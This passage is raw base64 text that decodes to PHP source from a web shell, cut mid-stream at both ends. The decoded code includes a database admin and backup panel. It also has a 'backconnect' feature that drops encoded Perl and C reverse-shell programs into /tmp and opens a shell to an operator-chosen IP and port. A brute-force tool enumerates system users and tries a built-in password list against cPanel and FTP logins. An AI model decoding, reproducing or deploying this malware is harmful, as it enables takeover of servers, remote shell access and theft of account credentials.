lIDE6DQoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsNCgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICgkZ2V0bnVtc3FsKSB7DQoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7DQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgew0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCgkJCQkJCQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIgIiwgJHNxbF9saW5lKTsNCgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7DQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHJlc3VsdCA9IHEoJHF1ZXJ5KTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspew0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsNCgkJCQkJCQkJCQlmb3JlYWNoKCRtbiBhcyAka2V5PT4kaW5zaWRlKXsNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsNCgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOw0KCQkJCQkJCQkJCXAoJGIxKTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCXVuc2V0KCRiMSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmZvb3QoKTsNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQkJY2FzZSAyOg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7DQoJCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsNCgkJCQkJJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7DQoJCQkJCSR0YWJsZV9udW0rKzsNCgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsNCgkJCQl9DQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCgkJCQl1bnNldCgkdGFibGUpOw0KCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJcCgkZGJmb3JtKTsNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCXAoJzx0ZCB3aWR0aD0iMiUiIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCgkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsYXNzPWZvdXQ+Jyk7DQoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlRvdGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiRkYXRhX3NpemUuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoIjx0ciBjbGFzcz1cImZvdXRcIj48dGQgY29sc3Bhbj1cIiIuKCRoaWdodmVyID8gOCA6IDYpLiJcIj48aW5wdXQgbmFtZT1cInNhdmVhc2ZpbGVcIiB2YWx1ZT1cIjFcIiB0eXBlPVwiY2hlY2tib3hcIiAvPiBTYXZlIGFzIGZpbGUgPGlucHV0IGNsYXNzPVwiaW5wdXRcIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4ic3FsLmd6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBiYWNrY29ubmVjdCB3aW5kb3cgdmlhIE5DDQoNCi8vIEJydXRlDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JydXRlJykgew0KZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYnJ1dGUnKTsNCgltYWtlaGlkZSgnZGlyJywkYnJ1dGUpOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOw0KJGNvbm5lY3RfdGltZW91dD01Ow0KQHNldF90aW1lX2xpbWl0KDApOw0KJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107DQokdXNlcnMgPSAkX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcyA9ICRfUkVRVUVTVFsncGFzc3dvcmRzJ107DQokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsNCiRvcHRpb24gPSAkX1JFUVVFU1RbJ29wdGlvbiddOw0KDQoNCiRwYXNzbGlzdCA9ICIxMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBhc3N3b3JkDQowMTIzNDUNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MA0KMTExMTExDQowMDAwMDANCjIyMjIyMg0KMzMzMzMzDQo0NDQ0NDQNCjU1NTU1NQ0KNjY2NjY2DQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQoxMjMxMjMNCjIzNDIzNA0KMzQ1MzQ1DQo0NTY0NTYNCjU2NzU2Nw0KNjc4Njc4DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluMTIzDQphZG1pbjEyMzQ1Ng0KYWJjZGVmDQphYmNhYmMNCiFAIyFAIw0KIUAjJCVeDQohQCMkJV4mKigNCiFAIyQkI0AhDQphYmMxMjMNCmFuaHlldWVtDQppbG92ZXlvdQ0KYWRtaW4NCmFkbWluaXN0cmF0b3INCmFkbWluY3ANCmNwYW5lbA0KYWRtaW54DQphZG1pbnMNCnBhc3N3b3JkDQpwYXNzd29yZHMNCnBhc3N3MHJkDQpwQHNzdzByZA0KcEBzc3dvcmQNCmtob25nY28NCjI1MjUxMzI1DQpwYXNzdzByZHMiOw0KaWYoJHRhcmdldCA9PSAnJyl7DQokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7DQp9DQpwcmludCAiIDxkaXYgYWxpZ249J2NlbnRlcic+DQo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzQwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT48dHI+PHRkPg0KPGI+IFRhcmdldCAgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RhcmdldCcgc2l6ZT0nMTYnIHZhbHVlPSAkdGFyZ2V0IHN0eWxlPSdib3JkZXI6IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC13ZWlnaHQ6Ym9sZDsnPjwvcD48L2ZvbnQ+PC9iPjwvcD4NCjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzUwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT4NCjx0cj4NCjx0ZCBhbGlnbj0nY2VudGVyJz4NCjxiPlVzZXJuYW1lPC9iPjwvdGQ+DQo8dGQ+DQo8cCBhbGlnbj0nY2VudGVyJz4NCjxiPlBhc3N3b3JkPC9iPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwIGFsaWduPSdjZW50ZXInPg0KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSd1c2VycycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4iOw0KJGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCg0KICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICghZW1wdHkoJGxpbmUpKSB7DQoNCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsNCiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICRpKys7DQp9DQplY2hvICINCjwvdGV4dGFyZWE+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3Bhc3N3b3JkcycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4kcGFzc2xpc3Q8L3RleHRhcmVhPjxicj4NCjxicj4NCjxiPk9wdGlvbnMgOiA8L3NwYW4+PGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2NwYW5lbCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz4gY1BhbmVsDQo8aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nZnRwJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIHR5cGU9J3JhZGlvJz4gZnRwID09PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQXR0YWNrJyBuYW1lPSdzdWJtaXQnID48L3A+DQo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsNCj8+DQo8P3BocA0KZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCg0KcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsNCmV4aXQ7fQ0KDQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KDQpwKCI8Yj5bIGJsb2cyNGhAZ21haWwuY29tIF0jIDwvYj4NCjxiPiBBdHRhY2tpbmcgaGFzIGJlZW4gZG9uZSEgVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PiA9PiA8YSBocmVmPWh0dHA6Ly8kdXNlcjokcGFzc0AkaG9zdDoyMDgyIHRhcmdldD1fYmxhbms+TG9naW48L2E+PC9iPjxicj4iKTsNCn0NCmN1cmxfY2xvc2UoJGNoKTt9DQoNCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVV